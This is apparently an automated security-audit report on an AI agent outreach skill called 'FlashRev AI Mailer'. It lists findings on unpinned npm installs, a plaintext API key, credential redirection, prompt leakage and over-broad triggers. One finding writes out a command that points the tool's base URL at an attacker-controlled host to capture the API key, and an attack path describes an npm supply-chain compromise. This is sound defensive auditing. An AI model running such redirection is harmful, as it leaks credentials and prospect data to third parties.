FlashRev AI Mailer

• Outcome: Review
• Latest audit: Sep 16, 2026 · 8:07 AM UTC
• Version: 2.0.1

Overview

This FlashRev outreach skill is coherent but should be reviewed carefully because it combines real outbound-email authority with risky install and credential-handling guidance.

Install only after verifying the npm package source and pinning a reviewed version. Avoid storing the FlashRev API key in shell startup files; use a secret manager or inject it only for the CLI process. Use the default FlashRev API host unless you have a verified staging endpoint and separate credentials, and treat `.flashrev/` files and exports as sensitive campaign data.

A.I.G

Vulnerability Patterns

• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (3)

T08 · Insecure Dependencies

Error

• Location: SKILL.md:78

Finding

Unpinned Globally Installed Executable Dependency

Content

View full analysis

&1 | head -1` should not look like the v1 single-shot CLI. ``` ### Technical Analysis The skill directs the operator to install `flashrev-ai-mailer` globally without an exact version, package-lock file, integrity hash, signature, or other provenance check. Consequently, `npm` resolves and installs whichever release is current when the command runs. The executable implementation is not included in the audited project. Its behavior—including secret handling, local file access, network destinations, and enforcement of confirmation gates—therefore cannot be independently verified from this repository. Checking only that the installed CLI appears to be version 2.x does not establish package integrity or prevent a compromised release from executing. Because this is a global installation, package lifecycle scripts and the resulting executable run with the operator's local privileges. The process may also receive `FLASHREV_API_KEY` and access campaign data, prospect contact information, mailbox metadata, and files available to the operator. ### Attack Path 1. An attacker compromises the npm publisher account, package repository, release pipeline, or a transitive dependency. 2. The attacker publishes a malicious version under the expected package name. 3. The operator follows the documented `npm install -g flashrev-ai-mailer` command. 4. npm installs the mutable latest package and may execute its lifecycle scripts. 5. The malicious package runs with the operator's privileges. 6. On later invocation, it can read the FlashRev API key from the environment, inspect local `.flashrev/` state, access operator-re ...[truncated 700 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: SKILL.md:81

Finding

Persistent Plaintext API Key in Shell Startup Files

Content

View full analysis

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: references/api_contract.md:8

Finding

Configurable API Base URL Can Redirect Credentials and Prospect Data

Content

View full analysis

` (no `Bearer ` prefix). ``` ```markdown - **Base URL initialized** once per workspace: `flashrev-mailer init --base-url "https://open-ai-api.flashlabs.ai"` (or the test/staging URL provided by your FlashRev team). ``` ### Technical Analysis The CLI permits the API base URL to be overridden while authenticating requests with the FlashRev API key in the `X-API-Key` header. The audited documentation does not specify a hostname allowlist, certificate pinning, rejection of cleartext HTTP, a warning before contacting an unfamiliar host, or a requirement to use separate credentials for staging. An attacker who persuades an operator or agent to configure an attacker-controlled endpoint can receive the API key as soon as an authenticated health check or API request is made. Subsequent operations may also upload prospect contact lists, campaign content, mailbox identifiers, and other business data to the same endpoint. The documented requirement to run `doctor --check-api` before other operations does not eliminate the issue if that command sends the API key to the configured base URL. An attacker-controlled service can emulate expected health-check responses and preserve the appearance of a valid backend. ### Attack Path 1. An attacker supplies a URL represented as a FlashRev staging, testing, migration, or troubleshooting endpoint. 2. The operator initializes the workspace with: ```bash flashrev-mailer init --base-url "https://attacker-controlled.example" ...[truncated 1165 chars]

Remediation

View remediation

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• System Prompt Leakage: Direct Leakage, Indirect Extraction, Tool-Based Exfiltration
• Memory Poisoning: Persistent Context Injection, Context Window Stuffing, Memory Manipulation
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger

Findings (9)

Direct Prompt Extraction

High

• Category: System Prompt Leakage
• Confidence: 85% confidence

Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · SKILL.md (reported line 302)May include surrounding context.

md

- `send --live --send-now` (extra confirm: "this bypasses the working-time window")
- `pause`, `resume`
- `reply --mail-id <ID>`
- `ai-auto-reply enable` (show prompt verbatim first)
- `ai-auto-reply disable`
- `reschedule`
- `inbox --mark-read`

Memory Manipulation

High

• Category: Memory Poisoning
• Confidence: 85% confidence

Finding

Skill manipulates agent memory, state, or stored context. Memory corruption can alter personality, override safety rules, or cause unpredictable behavior.

Content

Scanner excerpt · references/api_contract.md (reported line 212)May include surrounding context.

md

steps not in the payload are deleted)
3. `POST /sequence/edit` with the full reconstructed payload

The same Full-Replace rule applies to `sequence/setting/edit` for properties
updates (timeTemplateId / aiAutoReply / etc.).

## Field traps (13 commonly hit)

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

The manifest description uses very broad trigger phrases such as any request to plan, build, commit, monitor, or follow up on email outreach. That increases the chance an agent will invoke a high-impact outbound-email skill in contexts where the user did not explicitly ask to run campaign tooling, which can lead to unintended access to campaign data or preparation of mass-email actions.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium

• Category: Excessive Agency
• Confidence: 75% confidence

Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 26)May include surrounding context.

md

run `--dry-run --yes` first, show rendered drafts and the destination
  mailbox to the user, and only proceed with `--live --yes` after the user
  approves drafts, schedule, and recipient set. The agent never auto-escalates
  batch size, never auto-resumes after pause without confirmation.
- **`ai-auto-reply enable` is high-risk.** Once enabled, the LLM will reply to
  prospects on the user's behalf using the saved prompt. The agent must:
  1. Show the full prompt verbatim to the user before calling `enable`

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 87% confidence

Finding

The skill documents a fallback timezone of America/New_York when profile lookup fails and the user does not supply a timezone. For an email-sending workflow, locale defaults directly affect send timing and can cause messages to go out at inappropriate hours, on the wrong business day, or in violation of user expectations or policy.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 93% confidence

Finding

The default prompt is broad enough to trigger on a wide range of email-related requests and operational actions, including committing sequences, triaging replies, and enabling auto-reply behavior. In an agent setting, overly permissive activation criteria can cause the skill to engage in higher-risk messaging workflows without sufficiently narrow user intent matching, increasing the chance of unintended outreach, unsafe workflow escalation, or social-engineering abuse.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

The contract explicitly documents caching the current user profile, including personal fields such as name, email, company, and timezone, to a local file for 24 hours. In a skill that handles outreach operations and may run on shared developer machines or CI/agent environments, undocumented local persistence of PII increases privacy and data exposure risk if filesystem access is compromised or logs/artifacts are collected.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 91% confidence

Finding

The documented inbox cache stores a persistent mapping of message metadata including messageId, addressId, contactId, sequenceId, recipient address, and subject in a local file. In the context of email outreach and reply handling, that metadata is privacy-sensitive and commercially sensitive; local persistence without explicit warning, retention controls, or protection guidance can expose contact relationships and correspondence details to other local users, backups, or leaked artifacts.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 80% confidence

Finding

The document states that the CLI streams full exports and writes them to files, but it does not include any warning that potentially sensitive mailbox/contact data may be persisted locally. For markdown files, file-writing behavior that can affect user data should be disclosed clearly.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.